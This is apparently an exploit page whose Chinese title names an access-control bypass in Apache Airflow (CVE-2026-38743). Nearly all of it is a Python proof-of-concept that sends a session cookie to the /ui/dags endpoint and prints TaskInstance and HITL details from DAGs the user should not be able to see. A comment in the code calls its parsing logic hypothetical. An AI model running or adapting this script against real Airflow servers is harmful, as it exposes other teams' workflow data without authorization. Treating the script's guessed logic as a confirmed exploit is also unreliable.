CVE-2026-38743 Apache Airflow 访问控制绕过漏洞

import requests # Exploit Title: Apache Airflow CVE-2026-38743 PoC # Description: Retrieves unauthorized HITL and TaskInstance details via /ui/dags target = "http://localhost:8080" endpoint = "/ui/dags" # Valid session cookie for a user with read access to at least one DAG session_cookie = "session=.eJwlkk..." headers = { "Cookie": session_cookie, "User-Agent": "Mozilla/5.0 (PoC-Scanner)" } try: # Send authenticated GET request response = requests.get(target + endpoint, headers=headers) if response.status_code == 200: data = response.json() print("[+] Request successful. Parsing response for leaked data...") # Hypothetical parsing logic based on vulnerability description # The response contains HITL and TaskInstance data for DAGs the user shouldn't see for dag in data.get('dags', []): dag_id = dag.get('dag_id') # Check for leaked task instances or HITL prompts if 'task_instances' in dag: print(f"[!] Leaked TaskInstance found in DAG: {dag_id}") print(f" Details: {dag['task_instances']}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")